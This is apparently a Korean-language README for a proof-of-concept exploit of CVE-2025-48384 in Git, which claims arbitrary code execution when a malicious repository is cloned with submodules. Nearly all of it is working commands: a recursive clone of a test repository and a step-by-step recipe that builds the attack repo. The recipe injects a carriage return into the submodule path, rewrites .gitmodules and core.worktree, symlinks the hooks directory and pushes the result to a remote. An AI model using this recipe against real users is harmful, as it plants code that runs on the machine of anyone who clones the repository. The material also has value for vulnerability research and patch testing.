
CVE-2025-48384에 대한 개념 증명 익스플로잇으로, Git 서브모듈 경로 주입 및 워크트리 조작을 통해 악의적인 저장소 클로닝으로 임의 코드 실행을 달성하는 것을 보여줍니다.
명령줄 재현
git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git
GitHub 저장소 참조 수정
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub
git -C repo mv sub $(printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
cd repo/
git branch -M main
git remote add origin https://github.com/beishanxueyuan/CVE-2025-48384-test.git